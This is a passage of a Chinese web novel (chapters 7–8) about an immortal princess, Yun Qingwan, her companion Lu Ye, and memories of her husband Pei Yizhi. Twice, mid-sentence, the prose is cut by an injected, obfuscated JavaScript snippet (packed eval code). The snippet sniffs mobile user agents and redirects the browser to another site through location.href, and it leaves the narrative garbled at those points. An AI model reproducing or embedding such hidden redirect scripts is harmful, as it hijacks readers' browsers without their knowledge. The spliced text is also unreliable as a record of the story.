“有什么不好回答的?说是女朋友不就行了。”陆野侧过头假装漫不经心把心中所盼道了出来。 云清婉叹了口气,趁机来了句插科打诨的自嘲:“哎,真是委屈你了。” 可显然,这般的玩笑对于喜欢自己的人是不能说的。 陆野听完带着情绪一股脑把对她的“嫌弃”不留情面全盘托出。 “确实,你一点超能力不会,路痴,五音不全,恐高,八百多岁了还是小孩子脾气,干什么都要哄着,文学素养为零,还是个彻头彻尾的马大哈。” 是她先说提的委屈,但听陆野好像是真觉得委屈,她又不乐意了,“啊......有这么差劲吗?” 陆野好笑地反问:“难道没有吗?” 云清婉垂下脑袋,连连摇头感叹的失败:“好吧......阿野你原来是这么想我的。” 本来以为要被他乘胜追击又“抨击”几句,可耳畔却传来了被笑意与温柔包裹的一声: “正好我缺点也一大堆,不委屈。” 闻声抬起头,见他在漫天的霞光里笑得灿烂。 7. 第七章 饭是在医院旁边的家常菜馆吃的,中途遇到了好几个陆野的同事,看到云清婉时脸上的震惊不亚于发现了新大陆,一个个嘴巴张到能塞进拳头,搞得她是哭笑不得。 “阿野,你在医院到底是个什么形象啊?” 陆野手里给她剥着虾壳,不动声色回答:“完美的形象。” 她微微侧头瞄了眼从刚才起就一直对着他俩窃窃私语的后桌,两人还笑眯眯挥手给她打了招呼,她只得还以了尴尬而不失礼貌的微笑。 “感觉不像啊......” 陆野是不会怎么跟她说自己的事的,都是她穷追猛打一个劲问才勉强挤出几句不痛不痒的话来。 所以她对不在自己面前的陆野几乎是一无所知,看这情况和“完美”差得好像有点远。 “有什么问题吗?”陆野把剥好的虾放进她的碗里,拿出湿纸巾擦了擦手后又开始下一轮剥虾工作,一脸云淡风轻。 云清婉感觉要解释不清楚了,赶紧阻止说:“你别给我剥了,被人看见了不好。” “我不给你剥你嫌麻烦要么不吃,要么连着壳一起。”陆野毫不在意,白皙修长,骨节分明的手指剥起虾来也赏心悦目:“况且反正是女朋友,有什么关系。” 俗话说得好,只要自己不尴尬,尴尬的就是别人。 但这会儿云清婉不仅自己尴尬,还替他尴尬,总之是浑身上下抓心挠肺,坐如针毡。 公主急得厉害,他倒是气定神闲。 “行吧行吧,以后不好解释了你别赖我。” “我也要能赖得到你吧。” “这话说得......” 云清婉夹起碗里的剥好的虾往盘里的酱汁里沾了沾后送进嘴里,顺便嗔了他一眼。 陆野只觉简直没天理了,吃着他剥好的虾还要瞪他。 后桌的两人实在经不住好奇心的煎熬,直接坐上了他们的桌。 对陆野的第一声称呼“胸外一枝花”就把云清婉逗得前仰后合。 两人跟陆野同期进的医院,一点没把自己当外人,一口一个“妹妹”喊着,陆野想用手术缝合四号线把他俩的嘴缝到一起。 也亏得两人口无遮拦,云清婉知晓了不少陆野在医院的事。 “高岭之花”是她怎么都没想到的。 但给她剥了一碗虾的人怎么可能是“高岭之花”呢。 云清婉抬头一双充满疑惑的清澈眼眸上下眨巴,诧异地问:“阿野,你是高岭之花吗?” “......” “......” “......” 这般朴实纯真的问题让陆野无法回答,只得下了最后通牒把两人驱赶出镜了。 觉得发现了陆野不为人知一面的云清婉“噗嗤”笑了出来。 “你笑什么?”陆野看着身旁笑得合不拢嘴的人,叹气无奈地问。 “没什么,高岭之花的阿野我还没见过呢。”她的笑意在眼底和唇边蔓延开来。 不过就是工作的时候不谈工作以外的事情而已,陆野否认说:“你别听他们乱说。” “也是,阿野怎么可能是高岭之花嘛。” 陆野敏锐地听出了话外之音:“我怎么感觉你在内涵我呢?” 云清婉来了个否认三连:“我没有,我不是,别瞎说啊。” “嘴角都压不下去了还说没有。”陆野当然是连标点符号都没信了。 被质疑的云清婉当即换了个严肃的表情,紧紧抿住双唇,不过没坚持几秒钟就败下了阵来。 虽然也有过装酷耍帅,不理人的高冷时期,但笑起来那么好看的阿野怎么可能是高岭之花呢。 ------ 两人回龙湖春晓的时候,陆野接了个电话说是记者。昨天在机场救助的病患家人要去医院给陆野送感谢锦旗问陆野明天有没有时间,正好也想邀请他拍一期急救相关的科普视频。 因为开着车,电话是公放接通的,全程云清婉都在旁边听着,由衷为身旁的人骄傲了起来。 “昨天陆医生身旁还有个女孩子,请问你是的女朋友吗?” 陆野很自然地应声:“嗯。” 过于自然反倒让云清婉不自然了,虽说是和陌生人怎么说都无所谓,但这不假思索的回答听着都像是真的了。 对方继续问:“能请她也一起吗?” 云清婉摇摇头,示意让陆野拒绝掉。 进入互联网时代后想要隐藏身份越来越难了,尽可能不要留下照片视频才安全。 但人只要在世上存在就不可能不留下痕迹,不得已的时候都是让陆启明帮着善了后。 陆野当然不会让她出镜,回绝说:“她明天有事,就我吧。” 等挂断电话后,陆野也想到了视频的问题说:“昨天应该有人拍了视频,我让人处理一下。” “谢谢,不过一个人想要完全抹去存在的痕迹是不可能的,肯定有那么几个人发现不对劲了。” “发现了也不会怎么样,谁会相信有个永生者呢。” “也是,连你一开始都不相信呢。” 云清婉笑笑,回想起第一次告诉小陆野自己其实活了好多好多年的时候,小家伙第一声就说她骗人。 “你让一个那么小的孩子相信永生也太强人所难了吧。” “但你很快就接受了诶,不愧是阿野!” 在奇奇怪怪的地方被夸了的陆野并没有表现出欣喜:“这是什么值得夸的事情吗?” “当然要夸了,阿野就是最厉害的!” 正所谓真诚是必杀技,看着她晶亮仿佛坠入了昭昭星野的眼眸,陆野反驳的话也被星海淹没了。 ------ 晚饭吃得有点多,云清婉又忍不住买了杯杨枝甘露,到龙湖春晓后就没着急回家而是说要在附近走走散步消食。 作为薛定谔的古代人,她感觉自己一个人喝有罪恶感,硬是逼着陆野也买了一杯,弄得陆野是哭笑不得。 “有什么意义吗?”陆野不怎么喜欢喝,齁甜的东西不知道她怎么就这么喜欢。 她使劲点了点头:“当然有了。” “你这和小学时候没写作业被老师抓到后说同桌也没写有什么区别?” “我没上过小学。”云清婉抬起理直气壮,别提多骄傲了,“况且我那时候谁敢抓我不写作业?脑袋不想要了?” “......” “......” “......” 这确实是陆野没考虑到的问题,失策了。 最后吸了一口齁甜的杨枝甘露后得出结论:“跟在你身边几个脑袋都不够砍的。” “那可不是,就你刚刚那个大不敬的嫌弃表情至少死两次了。” “那真是谢谢公主的不杀之恩了。” “不客气不客气。” 陆野看着完全不知道为何得意洋洋的人有些好奇历史上那么多公主都是她这样的嘛。 怎么感觉不是呢。 云清婉一看他那如鲠在喉的表情就知道他心中所想了:“阿野,你是不是在想谁家的公主是我这样的?” 被一语中的的陆野却否认了:“没有,这有什么好想的,不就是我家的公主嘛。” 本来只是稀松平常的一句插科打诨,这个“我”字却让云清婉稍微愣了一下,似是感受到了一丝别样的情绪。 不过这个念头很快就被她抛之脑后了。 云清婉拿出手机,发现国家博物馆又给她发来了邮件,点开来看是一副书法作品。 甚至没有去看印章她第一眼就认出了那是裴逸之的字。 裴逸之除了在政治上颇有建树,在文学艺术方面也造诣很深,特别是书法,为后世广为称赞,说起书法名家定有他的一席之位。 她还没见过裴逸之前就看过其殿试的答卷,字迹行云流水,一气呵成,雄秀端庄,哪怕只看那字状元也非他莫属。 裴逸之闲时喜欢写字,在书房里一呆就是好几个时辰,她就在边磨墨,听着讲些书法的心得,偶尔心血来潮也会班门弄斧跟着写上两笔。 明明是歪歪扭扭不成气候裴逸之却总会夸她有大家之风。 裴逸之从身后拥着她握住她的手教她运笔的时候,每每总是坚持不了几个字就往别处闹了起来。 屋内的檀香,案间的墨香,还有身旁人吞吐在耳边的温热气息总会让她失了心神。 如今裴逸之存世的几幅真迹都是国宝级别的文物了。发来的这幅说是个人收藏家无偿捐献给国家博物馆的,这思想境界也真有够高的,拿去拍卖少说买下三四个四合院的东西就这么给捐了。 云清婉把手里的喝的先给陆野拿着,随后按照惯例开始从纸张,技法,墨迹,印章,题跋等书法鉴定的各个方面给予了的确是裴逸之真迹的判断。 她勤勤恳恳打了很多字但其实完全没这个必要。 这幅字是裴逸之给她写的,墨是她磨的,卷轴是她铺的,笔是她递的,连印章都是她盖上去的。 她准备盖章的时候裴逸之使坏故意环住了她的腰身,又从侧边吻上了她的脖颈,她抵不过酥酥痒痒手里一滑印章掉了下来,这才造就了字上的几处红印。 就这她还能认错不成。 “又是博物馆来找你鉴定了?”陆野在旁问了声。 “嗯,最近还挺多的。” “你不准备收钱吗?都白打工这么久了。” “阿野,你这个思想境界就很低。”云清婉把视线缓缓上移,虚着眼对陆野进行了批评教育:“你看看人家,裴逸之的真迹都能无偿捐出来,你还惦记那点......” 听到裴逸之这个名字的时候陆野明显怔了一下,这一瞬的愣神让云清婉也反应过来了,话停在了中途。 哪怕早就成过眼云烟后她也不会在陆家人面前提裴逸之。 拥有陆远卿记忆的他们知道她和裴逸之的故事,知道她的爱,她的恨,她的刻苦铭心,她的撕心裂肺,她的无可奈何。 所以她不会提。 即便还没有陆远卿的记忆,陆野也知道,她一定是爱过裴逸之的。 她曾是他的结发妻子,曾为他穿戴过凤冠霞帔,曾依偎在他怀里呢喃细语。 吃八百多年前之人的醋确实没道理,而且自己也根本没立场吃醋。 但能怎么办呢。 感情从来都不讲道理。 其实云清婉倒是没觉得说裴逸之的事情有什么大不了的,权当是反面教材,提醒大家看人一定要把眼睛擦亮,拒绝恋爱脑,别整天就围着男人转。 但她可以释怀,不代表陆远卿可以。 “阿野,别这个表情,都是陈芝麻烂谷子的破事了,公主我格局有这么低吗?八百多年了还被这点情情爱爱的小事困住?”云清婉没有避讳提及了她的想法。 陆野有很多很多的话想问,却还是什么都没有说。 记忆会给他所有的答案。 哪怕他知道一定不是他想要的答案。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408410|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿野,怎么了啊。”见陆野的情绪不太对劲,云清婉赶紧又问道。 明明知道在她面前展现出情绪是万万不可的,但陆野就是控制不住。 嫉妒,醋意,心疼,难过,各种情绪交织盘旋在心口得不到宣泄。 “我都不在乎了,你还在乎啥?什么裴逸之早成骨头架子了,我还活蹦乱跳喝着杨枝甘露,他连杨枝甘露是啥都不知道呢,这波是我们的胜利!” 云清婉用“坟头蹦迪”式的玩笑试图缓解气氛。 这是能开玩笑的地方吗? 陆野把还往外淌着水的两杯杨枝甘露往她的两个脸颊一冰无奈地说:“瞎说什么。” “怎么就是瞎说了。”她被冰得瑟缩了一下脖颈说:“说不定我活到现在就是为了这杯杨枝甘露呢?” “......” 陆野重重叹了口气,不知道该说她心态好还是不过脑。 “阿野,我没那么脆弱,也没那么执着,八百多年前的事情了,怎么可能还在意啊。现在的我只觉得有杨枝甘露喝,你在我身边,这样就足够了。” 云清婉的话没有丝毫的修饰和保留,此时此刻的她就是这么想的。 已经发生过的事情没办法当做没有发生,而回忆也总是猝不及防,但她真的早就不在乎了。 而且即使她一心求死,一路走来也是苦比甜要多太多了,但这不意味着睁着眼的每分每秒都是地狱般的煎熬。 不是的,不是这样的。 至少现在陆野在她身边,她真的有感受到“活着”的幸福。 说者有心而听者更有意。 这番话从耳畔传到心底化为温热的暖流把他层层包裹的时候,陆野看着眼前人没有半点杂质的清澈眼眸 ,甚至有了想要吻上去的冲动。 老天爷,就让他在她的身边再多呆一段时间吧。 ------ 附近有个小公园,裴逸之的小插曲过后云清婉说要去转转,结果还没走两步路就被蚊子咬了好几个包,她就一边使劲拍打一边嚷嚷着要回家抹风油精了。 “你都被蚊子咬八百多年了,可以申请吉尼斯世界记录了。” 看着她直跳脚的样子陆野笑得合不拢嘴,都跟她说了公园蚊子多,还不信邪非要去,这下不得不信了。 她狠狠嗔了陆野一眼,小时候也是,两人一起蚊子就偏偏盯着她咬对陆野是不管不问,也太区别对待了。 回家前陆野说要去一趟超市,本来只是准备买点绿豆给她熬汤的,但逛超市作为云清婉最喜欢的活动之一,既然来了自然得逛个尽兴。 她就算不买也要把东西拿起来左摸摸右看看,碰上米堆要把手塞里面,路过西瓜要每个都要拍拍但其实根本不知道哪个甜。 试吃试喝来者不拒,买五十送个毫无用处的塑料盒也要想法设法凑齐。 陆野跟在后面,看着她跟小孩子一样上蹿下跳和满满当当的手推车都想每天跟她来逛一次超市了。 她有着能把所有平凡的小事都变得有趣的魔法,在她身边哪怕只是看着她也能体会到琐碎生活里平淡的幸福。 “阿野,你说我是买这个五十四色的呢还是买这个一百零八色的呢?”云清婉在儿童区对着一盒盒彩笔发了愁。 “公主殿下当然要买颜色多的了。”陆野说完就拿了个颜色最多的放进了手推车里。 用是不可能用的,她的新鲜劲最多两天,但有一定要有。 她可是公主,想要天上的星星自己也会搭个梯子爬上去摘的。 乱七八糟买了一堆东西她甚至连侏罗纪恐龙积木套装都放里面了,陆野看着1211pieces的标注是两眼一抹黑,这自己还得找时间给她拼好,有得忙了。 指望她拼是不可能的,多半是零件倒到桌上就能少好几个。 从超市出来已是皓月凌空,星河溅落。 初夏的晚风细细碎碎夹杂着栀子花的清香盈满了鼻尖,熙熙攘攘的人群在身旁来来往往。 陆野只有两只手实在拿不下所有只得挑了个最轻的让她提着,两人并肩沐浴着清月与星辉往家里走着。 云清婉抬头看了会儿和八百多年前并无任何区别的月亮说: “今人不见古时月,今月曾经照古人,但我跟你说阿野,见不见都一样,因为月亮一点变化都没有。” 顺着云清婉的视线,陆野也抬头望向了天际,“那你指望它能有什么变化?” “比如变成长方形,或者变成淡粉色。” 很难想象一个研究过宇宙群星还发表过论文的人能说出月亮变成淡粉色的长方形这般的话,但这正是陆野觉得她浪漫至极的地方。 她比任何人都懂得科学,却也比任何人都能越过科学去做天马行空的想象。 世界确实如此,而我期盼它能更有趣些。 “月亮没有变化,那看月亮的人呢?”陆野眼眸里坠满了璀璨星河,温声接了话。 “我吗?应该变了吧,不至于八百多年一点长进都没有。” “那以前的云清婉是什么样的呢?” “阿野想知道吗?”云清婉笑笑,迎上了婆娑流转的莹莹目光。 陆野唇角的月亮绽开了:“嗯。” 她只用一句话做了回答:“现在站在你面前的就是云清婉。” 不是敷衍,也不是糊弄,更不是搪塞。 而是八百年多年前的云清婉就是站在陆野面前的云清婉。 就如同那清辉与圆月一般,不曾改变。 8. 第八章 裴逸之这几日的身体状况不太好一直咳嗽不停还带着浓痰和血块,皇上免了他的早朝,亲自过来看了一次,又召集了太医院商量对策。 自己的身子是什么状况裴逸之很清楚,可即便这样他还是一直伏在案前,趁气色好些时便把其还只思考了雏形的施策一一写了下来。 促进与他国的贸易往来,对贫困或谋生艰难鳏寡无依靠之人提供救助,设立居养院,广惠仓,养济院,对患病无钱医治者设立施药局。 市集街巷屋宇林立火灾频发,得建立专门的部门夜间值守,及时发现火情加以控制。 矿产、造船、烧瓷、造纸、印刷、制茶、纺织等方面鼓励民间建立作坊进行加工制造。 只可惜他时日不多,来不及将这些施策细化考量,完善和推行还得靠后世之才,但好歹能抛砖引玉,起个引子。 这是为大祁,为百姓之事,他身为首辅必须做。 可为她之事,他又能做什么呢。 钟太医那日说让他去见心中所念之人。 他要以何脸面去见呢? 他做的事情别说乞求原谅了,哪怕是看她一眼的资格都没有。 这是惩罚,对他生生世世的惩罚。 可这点惩罚和她经历的苦痛相比又算得了什么呢。 屏风倒下的那一瞬,看到惊慌失措的她时,自己其实就已经沦陷了。 之后的年年岁岁里他也无数次想过就这么算了吧。 什么仇恨,什么恩情,什么责任哪里有怀里的人重要。 就和她一起朝朝暮暮,暮暮朝朝便是余生所求。 可万般皆是命,半点不由人。 裴逸之今日准备进宫与皇上商议他离世之后的各项事宜,从朝廷的用人到如今还在施展的措施,他得尽可能把事情都安排妥善。 大祁人才济济,朝中重臣皆为栋梁,有为国为民之大义与胸襟。就算没有他也定会尽心辅佐皇上,许大祁一番盛世太平。 要出门之时,府里的小厮来报说他之前丢失的香袋找到了。 香袋是云清婉一针一线绣的,她不善女红,又嫌坐几个时辰穿针引线乏味,向来不喜欢,但那年七巧她却绣了一只兔子香袋给自己。 若不说那是只兔子,歪歪扭扭的几团倒还真看不出来是什么。她嫌拿不出手不想送了,是自己软磨硬泡硬要过来的。 前些时日在府中弄丢了,让人四处寻了都没有踪迹,只觉得果然是这点念想都不肯留了。 香袋早已泛黄发黑,也有好几处破了洞,他找来针线缝补针法却比绣的人差得多了扎了好几次手。 裴逸之接过香袋轻轻拂去上面的灰尘后别在了腰间,眼前浮现了她把香袋拿出来时撇着嘴抱怨平日该多习习女红的懊恼样子,耳畔回响起娇嗔一声“算了,不给你了”。 又是一阵撕心裂肺的绞痛袭来,他捂着胸口几乎站不住了。 往事如走马灯般一一闪过,意识也变得缥缈模糊。 裴逸之看到了初见时羞到双颊绯红的她,第一次亲吻时不看睁眼的她,奔向自己时宛若一阵清风的她,起舞时如惊鸿照影的她,洞房花烛夜时美到不可方物的她,躺在自己怀里说想要去看花灯的她,批奏折时从身后环住自己说公主命令要休息了的她。 泣血的悲与痛里又突然看到了一些无法用语言去描述的奇怪场景。 来往的人群穿着奇装异服,夜空中有巨大的发光铁块在缓慢旋转,烟火漫天,周围的建筑不像是木质砖瓦,各色的灯火闪烁。 而他此生唯一爱过,负过,奢求过的人站在不远处用惊愕的目光看着他恍若隔世。 ------ 陆野这几天是请的年假,不过也就是不用在医院坐班而已,该做的事情一点少不了。 今天除了记者和患者家属要过来以外,他本来就有一台手术,一早就去了医院,跟平时上班一样还查了房。 云清婉的心理学博士课程已经读完了,又到了思考接下来要干什么的环节了。 陈秋芬的身体状况不好,她短时间内是不会离开京城了。 互联网信息时代以前没那么多顾虑,换个地方就没人认识你了,如今你哪怕钻进地底了,也有办法掘地三尺找到你。 即便不会有人相信永生者的存在,但还是得慎重行事。 昨晚云清婉征求陆野的意见时,陆野认真思考了半晌后说可以做自媒体,只要不露脸,再变个声也没人知道是谁。 走硬核科普路线或者搞笑路线,以她的实力,两个赛道都定有有所建树。 听得她是哭笑不得,她堂堂一个公主走搞笑路线,成何体统? 不过自媒体确实是个不错的主意,她一个活了八百多年的人知道的秘密太多太多了。 哪怕挑几个拿出来当野史讲也是颠覆性的,毕竟真实的历史可比写进书里的要离奇,要荒诞,要匪夷所思得多。 就和裴逸之为何要谋反一般。 谁又能想到真相竟是如此唏嘘呢。 这段时间由于裴逸之墓葬的发现,在网上兴起了一股“大祁热”,各种科普节目,展览都一并来了。 连着关于永宁公主的讨论也多了起来,还请了历史学家来侃侃而谈。 话题评论里全是对史书里形容她倾城之姿到底长什么样的好奇,与遭到驸马裴逸之背叛,一朝家破人亡,消香玉陨的唏嘘。 拜托,能不能关注一下别的地方啊。 她除了恋爱脑被男人背叛了以外也是有可取之处的吧。 不也写了通音律,善歌舞吗? 不是她自吹自擂,她唱歌确实灾难,但跳舞是真能称得上“绝世舞姬”四个字的。 “一舞一莲花,一步一霜华”不是在那《舞乐图》边上写了吗? 虽说限于当时的美术风格不搞写实派,画得看不出个所以然,但字都写上去了好歹看一眼啊。 而且五音不全也不妨碍她学习定音乐器,她精通筝的演奏,师从的都是当时最负盛名的宫内乐手,放今天开个演奏会S席门票能卖两万的水平。 这么多值得深挖的点怎么就抓着她遇人不淑不放呢。 也怪当时的自己思想境界不达标,并没有想过一举一动都会沦为后世茶余饭后的谈资。 一年两年就算了,十年二十年能接受,一百年两百年也忍了,八百多年了还是如此,到底什么时候才是个头啊。 早知道如此她就该跟史官说写点她的光荣事迹了,再编本书名为《永宁公主传》,好好宣传宣传自己。 省得只留下个“被男人背叛”的臭名声。 科普讲座她也点进去看了,请的历史专家是京大历史系的副教授,名叫俞子春,云清婉在电视里见过他好几次。 名字也好,气质也好,谈吐也好,戴着副眼镜,斯斯文文看着就像搞这块儿的人。 历史这东西三分靠史书,七分靠猜测。统治者写下的只是他想让后世知晓的。哪怕有史官本着求真务实的精神要如实记载,皇帝一句话的事情你还能不从嘛。 俞子春主攻的是大祁历史,提出了不少与事实相差无几的观点。 其准确程度让人不禁想问:开天眼了吗?这是怎么知道的? 他结合各种细枝末节提出了永宁公主并没有在天厉之变中殒命的看法。 确是有两把刷子,不过她死没死对于历史的进程也没有半分影响,真真假假,假假真真早就没了意义。 云清婉看了一会儿视频后翻到了下一个关联话题。 说是裴逸之墓葬周围被发现多个盗洞恐墓室已遭破坏。 你说盗/墓贼们好端端的帝王墓不挖挖裴逸之的干什么? 哼哧哼哧分金定穴,阴阳秘术鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408411|141279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捣半天,一开棺啥都没有全白忙活了。 裴逸之对她的确是出手阔绰,没有半点吝啬,但对自己却显得有些“小气”。 一生勤俭,廉洁奉公,吃穿用度并不讲究,病逝前把所有的财产都上交了国库。 墓葬里金银财宝是不可能有的,云清婉有些好奇裴逸之会放什么进去。 以他的性子,甚至可能只有一支笔,一副字,一本书。 这三样东西便是他短暂又传奇一生的真实写照了。 云清婉叹了口气,不知是为裴逸之还是为自己。 又磨蹭了一会儿,喝了碗冰绿豆汤后她就下楼觅食了。 马上就要到吃早饭还是吃午饭的时间了,她刚走到小区门口,就接到陆野的电话:“早饭吃了吗?” “现在到小区门口了,正准备去买。” “要吃啥?” “煎饼吧。” 龙湖春晓附近吃的东西非常多,她往周围扫视了一番后说。 陆野出手很阔绰,大方给她加了餐:“那加个鸡蛋,再加个火腿。” 云清婉赶紧连声拒绝说:“火腿?什么家庭吃煎饼还能加火腿?我可吃不起。” “尽管吃,算我头上。”陆野刚查完房回到办公室准备等下的手术,听到她的插科打诨笑意染上了眼眸。 她乘胜追击:“小野子这么大方?那我可以再加份土豆丝吗?” 陆野顺着话说:“这恐怕有点捉襟见肘了。” 又就家底到底能往煎饼里加多少东西进行了一波讨论后陆野问:“欢乐谷明天可以吗?” “可以是可以,但你真的不要紧吗?已经请了几天假了,而且去欢乐谷的话要是有什么事赶回医院就没那么快了。” “没事,又不是没了我就转不动了。” “可不就是没了你就转不动了吗?我反正最近也没事,看你的时间,还是患者优先。” 以这两日从医院打来电话的频繁程度,还真是没了陆野就不转了,她可不敢耽误。 “门票要到期了,不能浪费。”其实离期限还有段时间,但陆野已经迫不及待了。 “行吧,但我再说一次我坐不了过山车,海盗船,跳楼机,一个都不行。” 见她如此谨慎的样子,陆野故意说:“那我坐,你在下面看着。” 云清婉不乐意了:“那我是去干什么的?” “旋转木马,咖啡杯你嫌幼稚,过山车你又怕,那摩天轮总行了吧。” “不往外看的话应该行吧。”吸取了上次“玻璃栈道事件”的教训,云清婉没有把话说满。 正所谓好奇心害死猫,之前她实在好奇在脚下能看到万丈悬崖到底是何种感觉便不知天高地厚向其发起了挑战。 结果刚踏上第一步就吓到双腿发软,浑身颤抖蹲了下去,别说走路了连睁眼都不敢。 陆野在旁是哭笑不得,早知今日何必十分钟前,刚才信誓旦旦说一定能战胜心魔的气焰哪里去了。 想等她鼓起勇气接过十多分钟硬是还没蜗牛挪得快,没办法陆野只得牵住了她的手。 可即便这样她还是怕得完全不敢挪步子,陆野便将她紧紧抱在怀里一点点往前走。 云清婉记得那段路她的心脏一直“砰砰砰”跳个不停,可陆野明明一点都不怕,可耳畔来自结实胸膛的心跳声却也急促又清晰。 “那反正你也不坐别的项目用不了一天,我下午就结束了,我们直接过去,可以在摩天轮上看烟花。” 陆野把话说完为此时此刻自己心中所想竟然是“在摩天轮上接吻便永远不会分开”而感到可笑至极。 大男人脑子里想这些实在叫人笑掉大牙,但他真的就是如此想的。 尽管云清婉完全不知道他为何会如此着急,不过两张门票而已,但既然他这么想去,那陪他去就是了。